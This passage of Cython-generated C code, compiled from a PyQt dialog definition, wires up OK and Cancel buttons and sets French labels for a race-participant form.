self.verticalLayout.addWidget(self.CancelBtn) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_CancelBtn); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 94, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setAutoDefault); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 94, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__67, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 94, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":95 * self.CancelBtn.setShortcut("") * self.CancelBtn.setAutoDefault(False) * self.CancelBtn.setObjectName("CancelBtn") # <<<<<<<<<<<<<< * self.verticalLayout.addWidget(self.CancelBtn) * */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_CancelBtn); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 95, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 95, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__68, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 95, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":96 * self.CancelBtn.setAutoDefault(False) * self.CancelBtn.setObjectName("CancelBtn") * self.verticalLayout.addWidget(self.CancelBtn) # <<<<<<<<<<<<<< * * self.retranslateUi(Set_RacerTp) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayout); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 96, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_addWidget); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 96, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_CancelBtn); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 96, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_3) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 96, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_1}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 96, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_1}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 96, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 96, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_4, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 96, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":98 * self.verticalLayout.addWidget(self.CancelBtn) * * self.retranslateUi(Set_RacerTp) # <<<<<<<<<<<<<< * self.OkBtn.clicked.connect(Set_RacerTp.accept) * self.CancelBtn.clicked.connect(Set_RacerTp.reject) */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_retranslateUi); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 98, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_4) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_v_Set_RacerTp); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 98, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_v_Set_RacerTp}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 98, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_2); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_v_Set_RacerTp}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 98, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_2); } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 98, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_INCREF(__pyx_v_Set_RacerTp); __Pyx_GIVEREF(__pyx_v_Set_RacerTp); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_v_Set_RacerTp); __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_1, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 98, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":99 * * self.retranslateUi(Set_RacerTp) * self.OkBtn.clicked.connect(Set_RacerTp.accept) # <<<<<<<<<<<<<< * self.CancelBtn.clicked.connect(Set_RacerTp.reject) * QtCore.QMetaObject.connectSlotsByName(Set_RacerTp) */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_OkBtn); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 99, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_clicked); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 99, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_connect); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 99, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_Set_RacerTp, __pyx_n_s_accept); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 99, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_4) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 99, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_1}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 99, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_1}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 99, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 99, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_3, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 99, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":100 * self.retranslateUi(Set_RacerTp) * self.OkBtn.clicked.connect(Set_RacerTp.accept) * self.CancelBtn.clicked.connect(Set_RacerTp.reject) # <<<<<<<<<<<<<< * QtCore.QMetaObject.connectSlotsByName(Set_RacerTp) * */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_CancelBtn); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 100, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_clicked); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 100, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_connect); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 100, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_Set_RacerTp, __pyx_n_s_reject); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 100, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_1) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 100, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_3}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 100, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_3}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 100, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 100, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_4, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 100, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":101 * self.OkBtn.clicked.connect(Set_RacerTp.accept) * self.CancelBtn.clicked.connect(Set_RacerTp.reject) * QtCore.QMetaObject.connectSlotsByName(Set_RacerTp) # <<<<<<<<<<<<<< * * def retranslateUi(self, Set_RacerTp): */ __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 101, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_QMetaObject); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 101, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_connectSlotsByName); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 101, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_4) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_v_Set_RacerTp); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 101, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_v_Set_RacerTp}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 101, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_2); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_v_Set_RacerTp}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 101, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_2); } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 101, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_INCREF(__pyx_v_Set_RacerTp); __Pyx_GIVEREF(__pyx_v_Set_RacerTp); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_v_Set_RacerTp); __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_3, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 101, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":12 * * class Ui_Set_RacerTp(object): * def setupUi(self, Set_RacerTp): # <<<<<<<<<<<<<< * Set_RacerTp.setObjectName("Set_RacerTp") * Set_RacerTp.resize(419, 114) */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __Pyx_AddTraceback("Ui_Set_RacerTp.Ui_Set_RacerTp.setupUi", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_font); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "Ui_Set_RacerTp.py":103 * QtCore.QMetaObject.connectSlotsByName(Set_RacerTp) * * def retranslateUi(self, Set_RacerTp): # <<<<<<<<<<<<<< * _translate = QtCore.QCoreApplication.translate * Set_RacerTp.setWindowTitle(_translate("Set_RacerTp", "Dialog")) */ /* Python wrapper */ static PyObject *__pyx_pw_14Ui_Set_RacerTp_14Ui_Set_RacerTp_3retranslateUi(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/ static PyMethodDef __pyx_mdef_14Ui_Set_RacerTp_14Ui_Set_RacerTp_3retranslateUi = {"retranslateUi", (PyCFunction)__pyx_pw_14Ui_Set_RacerTp_14Ui_Set_RacerTp_3retranslateUi, METH_VARARGS|METH_KEYWORDS, 0}; static PyObject *__pyx_pw_14Ui_Set_RacerTp_14Ui_Set_RacerTp_3retranslateUi(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds) { PyObject *__pyx_v_self = 0; PyObject *__pyx_v_Set_RacerTp = 0; PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("retranslateUi (wrapper)", 0); { static PyObject **__pyx_pyargnames[] = {&__pyx_n_s_self,&__pyx_n_s_Set_RacerTp,0}; PyObject* values[2] = {0,0}; if (unlikely(__pyx_kwds)) { Py_ssize_t kw_args; const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args); switch (pos_args) { case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); case 0: break; default: goto __pyx_L5_argtuple_error; } kw_args = PyDict_Size(__pyx_kwds); switch (pos_args) { case 0: if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_self)) != 0)) kw_args--; else goto __pyx_L5_argtuple_error; case 1: if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_Set_RacerTp)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("retranslateUi", 1, 2, 2, 1); __PYX_ERR(0, 103, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, "retranslateUi") < 0)) __PYX_ERR(0, 103, __pyx_L3_error) } } else if (PyTuple_GET_SIZE(__pyx_args) != 2) { goto __pyx_L5_argtuple_error; } else { values[0] = PyTuple_GET_ITEM(__pyx_args, 0); values[1] = PyTuple_GET_ITEM(__pyx_args, 1); } __pyx_v_self = values[0]; __pyx_v_Set_RacerTp = values[1]; } goto __pyx_L4_argument_unpacking_done; __pyx_L5_argtuple_error:; __Pyx_RaiseArgtupleInvalid("retranslateUi", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); __PYX_ERR(0, 103, __pyx_L3_error) __pyx_L3_error:; __Pyx_AddTraceback("Ui_Set_RacerTp.Ui_Set_RacerTp.retranslateUi", __pyx_clineno, __pyx_lineno, __pyx_filename); __Pyx_RefNannyFinishContext(); return NULL; __pyx_L4_argument_unpacking_done:; __pyx_r = __pyx_pf_14Ui_Set_RacerTp_14Ui_Set_RacerTp_2retranslateUi(__pyx_self, __pyx_v_self, __pyx_v_Set_RacerTp); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_14Ui_Set_RacerTp_14Ui_Set_RacerTp_2retranslateUi(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_Set_RacerTp) { PyObject *__pyx_v__translate = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; __Pyx_RefNannySetupContext("retranslateUi", 0); /* "Ui_Set_RacerTp.py":104 * * def retranslateUi(self, Set_RacerTp): * _translate = QtCore.QCoreApplication.translate # <<<<<<<<<<<<<< * Set_RacerTp.setWindowTitle(_translate("Set_RacerTp", "Dialog")) * self.label_8.setText(_translate("Set_RacerTp", "Numro course")) */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 104, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QCoreApplication); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 104, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_translate); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 104, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_v__translate = __pyx_t_1; __pyx_t_1 = 0; /* "Ui_Set_RacerTp.py":105 * def retranslateUi(self, Set_RacerTp): * _translate = QtCore.QCoreApplication.translate * Set_RacerTp.setWindowTitle(_translate("Set_RacerTp", "Dialog")) # <<<<<<<<<<<<<< * self.label_8.setText(_translate("Set_RacerTp", "Numro course")) * self.label_6.setText(_translate("Set_RacerTp", "Prnom")) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_Set_RacerTp, __pyx_n_s_setWindowTitle); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 105, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_Call(__pyx_v__translate, __pyx_tuple__69, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 105, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 105, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 105, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 105, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 105, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 105, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_Set_RacerTp.py":106 * _translate = QtCore.QCoreApplication.translate * 